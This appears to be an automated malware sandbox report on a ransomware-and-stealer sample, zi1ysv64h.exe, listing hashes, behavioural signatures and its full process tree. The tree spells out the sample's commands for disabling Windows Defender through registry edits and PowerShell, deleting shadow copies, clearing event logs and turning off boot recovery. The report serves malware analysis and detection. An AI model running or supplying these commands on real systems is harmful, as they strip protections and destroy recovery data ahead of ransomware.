Overview

overview

10

Static

static

8

211xahcou.exe

windows7-x64

10

211xahcou.exe

windows10-2004-x64

10

hive.exe

windows7-x64

10

hive.exe

windows10-2004-x64

10

sjl8j6ap3.exe

windows7-x64

1

sjl8j6ap3.exe

windows10-2004-x64

1

windows_25...c5.exe

windows7-x64

10

windows_25...c5.exe

windows10-2004-x64

10

zi1ysv64h.exe

windows7-x64

10

zi1ysv64h.exe

windows10-2004-x64

10

Resubmissions

23-12-2022 20:19

221223-y39gvahb28 10

23-12-2022 19:54

221223-ymz88scc8w 10

23-12-2022 19:42

221223-yerbcsha78 10

Analysis

  • max time kernel
    48s
  • max time network
    35s
  • platform
    windows7_x64
  • resource
    win7-20221111-en
  • resource tags

    arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
  • submitted
    23-12-2022 19:42

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General

  • Target

    zi1ysv64h.exe

  • Size

    3.3MB

  • MD5

    5384c6825a5707241c11d78529dbbfee

  • SHA1

    85f5587e8ad534c2e5de0e72450b61ebda93e4fd

  • SHA256

    3858e95bcf18c692f8321e3f8380c39684edb90bb622f37911144950602cea21

  • SHA512

    856861295efb9c1b0000b369297cf6905a277c2d7dd0bc238f3884cd22598055450bf0459d68441f135bb77150685a86707ea9320a37e10548b40185f09b961f

  • SSDEEP

    49152:HJ9mQ5uetkErb/TKvO90dL3BmAFd4A64nsfJ+9NRUMZXuPH9fc0KHPKG/g+eNgiz:HJ9jkl9NbBo9fc0KHYno

Score
10/10
evasionransomwarespywarestealertrojan

Malware Config

Signatures

  • Deletes Windows Defender Definitions 2 TTPs 1 IoCs

    Uses mpcmdrun utility to delete all AV definitions.

    evasion
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 10 IoCs
    evasiontrojan
  • Modifies security service 2 TTPs 1 IoCs
    evasion
  • Clears Windows event logs 1 TTPs 3 IoCs
    evasionransomware
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomware
  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
    ransomwareevasion
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Drops file in Program Files directory 64 IoCs
  • Launches sc.exe 8 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\zi1ysv64h.exe
    "C:\Users\Admin\AppData\Local\Temp\zi1ysv64h.exe"
    1⤵
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2032
    • C:\Windows\system32\net.exe
      net.exe stop "NetMsmqActivator" /y
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1160
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 stop "NetMsmqActivator" /y
        3⤵
          PID:580
      • C:\Windows\system32\net.exe
        net.exe stop "SamSs" /y
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:576
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 stop "SamSs" /y
          3⤵
            PID:1348
        • C:\Windows\system32\net.exe
          net.exe stop "SDRSVC" /y
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:708
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 stop "SDRSVC" /y
            3⤵
              PID:1820
          • C:\Windows\system32\net.exe
            net.exe stop "SstpSvc" /y
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:1512
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 stop "SstpSvc" /y
              3⤵
                PID:1736
            • C:\Windows\system32\net.exe
              net.exe stop "UI0Detect" /y
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:1148
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 stop "UI0Detect" /y
                3⤵
                  PID:1632
              • C:\Windows\system32\net.exe
                net.exe stop "VSS" /y
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:1644
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 stop "VSS" /y
                  3⤵
                    PID:280
                • C:\Windows\system32\net.exe
                  net.exe stop "wbengine" /y
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1876
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 stop "wbengine" /y
                    3⤵
                      PID:1048
                  • C:\Windows\system32\net.exe
                    net.exe stop "WebClient" /y
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1556
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 stop "WebClient" /y
                      3⤵
                        PID:984
                    • C:\Windows\system32\sc.exe
                      sc.exe config "NetMsmqActivator" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:848
                    • C:\Windows\system32\sc.exe
                      sc.exe config "SamSs" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:1096
                    • C:\Windows\system32\sc.exe
                      sc.exe config "SDRSVC" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:816
                    • C:\Windows\system32\sc.exe
                      sc.exe config "SstpSvc" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:944
                    • C:\Windows\system32\sc.exe
                      sc.exe config "UI0Detect" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:1752
                    • C:\Windows\system32\sc.exe
                      sc.exe config "VSS" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:1868
                    • C:\Windows\system32\sc.exe
                      sc.exe config "wbengine" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:2024
                    • C:\Windows\system32\sc.exe
                      sc.exe config "WebClient" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:852
                    • C:\Windows\system32\reg.exe
                      reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                      2⤵
                        PID:784
                      • C:\Windows\system32\reg.exe
                        reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
                        2⤵
                          PID:1104
                        • C:\Windows\system32\reg.exe
                          reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
                          2⤵
                            PID:1712
                          • C:\Windows\system32\reg.exe
                            reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
                            2⤵
                              PID:1356
                            • C:\Windows\system32\reg.exe
                              reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
                              2⤵
                                PID:1020
                              • C:\Windows\system32\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
                                2⤵
                                • Modifies Windows Defender Real-time Protection settings
                                PID:1012
                              • C:\Windows\system32\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
                                2⤵
                                • Modifies Windows Defender Real-time Protection settings
                                PID:700
                              • C:\Windows\system32\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
                                2⤵
                                • Modifies Windows Defender Real-time Protection settings
                                PID:1496
                              • C:\Windows\system32\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
                                2⤵
                                • Modifies Windows Defender Real-time Protection settings
                                PID:1632
                              • C:\Windows\system32\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
                                2⤵
                                • Modifies Windows Defender Real-time Protection settings
                                PID:364
                              • C:\Windows\system32\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
                                2⤵
                                  PID:964
                                • C:\Windows\system32\reg.exe
                                  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
                                  2⤵
                                    PID:1976
                                  • C:\Windows\system32\reg.exe
                                    reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
                                    2⤵
                                      PID:1816
                                    • C:\Windows\system32\reg.exe
                                      reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
                                      2⤵
                                        PID:812
                                      • C:\Windows\system32\reg.exe
                                        reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
                                        2⤵
                                          PID:1564
                                        • C:\Windows\system32\reg.exe
                                          reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
                                          2⤵
                                            PID:436
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
                                            2⤵
                                              PID:1932
                                            • C:\Windows\system32\schtasks.exe
                                              schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
                                              2⤵
                                                PID:972
                                              • C:\Windows\system32\schtasks.exe
                                                schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
                                                2⤵
                                                  PID:1288
                                                • C:\Windows\system32\schtasks.exe
                                                  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
                                                  2⤵
                                                    PID:1708
                                                  • C:\Windows\system32\schtasks.exe
                                                    schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
                                                    2⤵
                                                      PID:1092
                                                    • C:\Windows\system32\reg.exe
                                                      reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
                                                      2⤵
                                                        PID:1544
                                                      • C:\Windows\system32\reg.exe
                                                        reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
                                                        2⤵
                                                          PID:1736
                                                        • C:\Windows\system32\reg.exe
                                                          reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
                                                          2⤵
                                                            PID:1052
                                                          • C:\Windows\system32\reg.exe
                                                            reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
                                                            2⤵
                                                              PID:1648
                                                            • C:\Windows\system32\reg.exe
                                                              reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
                                                              2⤵
                                                                PID:1760
                                                              • C:\Windows\system32\reg.exe
                                                                reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
                                                                2⤵
                                                                  PID:1380
                                                                • C:\Windows\system32\reg.exe
                                                                  reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
                                                                  2⤵
                                                                    PID:876
                                                                  • C:\Windows\system32\reg.exe
                                                                    reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
                                                                    2⤵
                                                                      PID:1972
                                                                    • C:\Windows\system32\reg.exe
                                                                      reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
                                                                      2⤵
                                                                        PID:960
                                                                      • C:\Windows\system32\reg.exe
                                                                        reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
                                                                        2⤵
                                                                          PID:1276
                                                                        • C:\Windows\system32\reg.exe
                                                                          reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
                                                                          2⤵
                                                                          • Modifies security service
                                                                          PID:1396
                                                                        • C:\Windows\system32\reg.exe
                                                                          reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                                                                          2⤵
                                                                            PID:320
                                                                          • C:\Windows\system32\vssadmin.exe
                                                                            vssadmin.exe delete shadows /all /quiet
                                                                            2⤵
                                                                            • Interacts with shadow copies
                                                                            PID:292
                                                                          • C:\Windows\system32\wevtutil.exe
                                                                            wevtutil.exe cl system
                                                                            2⤵
                                                                            • Clears Windows event logs
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:1068
                                                                          • C:\Windows\system32\wevtutil.exe
                                                                            wevtutil.exe cl security
                                                                            2⤵
                                                                            • Clears Windows event logs
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:836
                                                                          • C:\Windows\system32\wevtutil.exe
                                                                            wevtutil.exe cl application
                                                                            2⤵
                                                                            • Clears Windows event logs
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:1560
                                                                          • C:\Windows\System32\Wbem\wmic.exe
                                                                            wmic.exe SHADOWCOPY /nointeractive
                                                                            2⤵
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:912
                                                                          • C:\Windows\System32\Wbem\wmic.exe
                                                                            wmic.exe shadowcopy delete
                                                                            2⤵
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:936
                                                                          • C:\Windows\system32\bcdedit.exe
                                                                            bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
                                                                            2⤵
                                                                            • Modifies boot configuration data using bcdedit
                                                                            PID:1180
                                                                          • C:\Windows\system32\bcdedit.exe
                                                                            bcdedit.exe /set {default} recoveryenabled no
                                                                            2⤵
                                                                            • Modifies boot configuration data using bcdedit
                                                                            PID:864
                                                                          • C:\Windows\system32\cmd.exe
                                                                            cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
                                                                            2⤵
                                                                              PID:1548
                                                                              • C:\Program Files\Windows Defender\MpCmdRun.exe
                                                                                "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
                                                                                3⤵
                                                                                • Deletes Windows Defender Definitions
                                                                                PID:1540
                                                                            • C:\Windows\system32\cmd.exe
                                                                              cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true
                                                                              2⤵
                                                                                PID:1532
                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                  powershell Set-MpPreference -DisableIOAVProtection $true
                                                                                  3⤵
                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                  PID:1684
                                                                              • C:\Windows\system32\cmd.exe
                                                                                cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
                                                                                2⤵
                                                                                  PID:2076
                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                    powershell Set-MpPreference -DisableRealtimeMonitoring $true
                                                                                    3⤵
                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                    PID:2096

                                                                              Network

                                                                              MITRE ATT&CK Enterprise v6

                                                                              Replay Monitor

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                                                                              Downloads

                                                                              • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
                                                                                Filesize

                                                                                7KB

                                                                                MD5

                                                                                aba76d4d8ba68ac352dfe8cc3d558867

                                                                                SHA1

                                                                                9b5bbb35c6f0f6aeb158a23be6605173f6071b94

                                                                                SHA256

                                                                                c0b979d13ecc17baac51b0496d17c167e2c1ea9caad602568d7c946cec0430a9

                                                                                SHA512

                                                                                9194a2b4c2a3587e53c7983a2e521490cc0abe3a5eafa889a2854f3c633049987a3bf8637b5e121dbd05bb83cb4b595c1f8c52bb92756ba4dd065d4f34e7580f

                                                                                Download Submit

                                                                              • memory/1068-113-0x000007FEFBCA1000-0x000007FEFBCA3000-memory.dmp

                                                                                Filesize

                                                                                8KB

                                                                                Download

                                                                              • memory/1684-124-0x0000000002674000-0x0000000002677000-memory.dmp

                                                                                Filesize

                                                                                12KB

                                                                                Download

                                                                              • memory/1684-126-0x000000000267B000-0x000000000269A000-memory.dmp

                                                                                Filesize

                                                                                124KB

                                                                                Download

                                                                              • memory/1684-125-0x0000000002674000-0x0000000002677000-memory.dmp

                                                                                Filesize

                                                                                12KB

                                                                                Download

                                                                              • memory/1684-122-0x000007FEF3940000-0x000007FEF4363000-memory.dmp

                                                                                Filesize

                                                                                10.1MB

                                                                                Download

                                                                              • memory/1684-123-0x000007FEF2DE0000-0x000007FEF393D000-memory.dmp

                                                                                Filesize

                                                                                11.4MB

                                                                                Download

                                                                              • memory/2096-129-0x000007FEF42E0000-0x000007FEF4D03000-memory.dmp

                                                                                Filesize

                                                                                10.1MB

                                                                                Download

                                                                              • memory/2096-130-0x000007FEF3780000-0x000007FEF42DD000-memory.dmp

                                                                                Filesize

                                                                                11.4MB

                                                                                Download

                                                                              • memory/2096-131-0x0000000002584000-0x0000000002587000-memory.dmp

                                                                                Filesize

                                                                                12KB

                                                                                Download

                                                                              • memory/2096-132-0x0000000002584000-0x0000000002587000-memory.dmp

                                                                                Filesize

                                                                                12KB

                                                                                Download

                                                                              • memory/2096-133-0x000000000258B000-0x00000000025AA000-memory.dmp

                                                                                Filesize

                                                                                124KB

                                                                                Download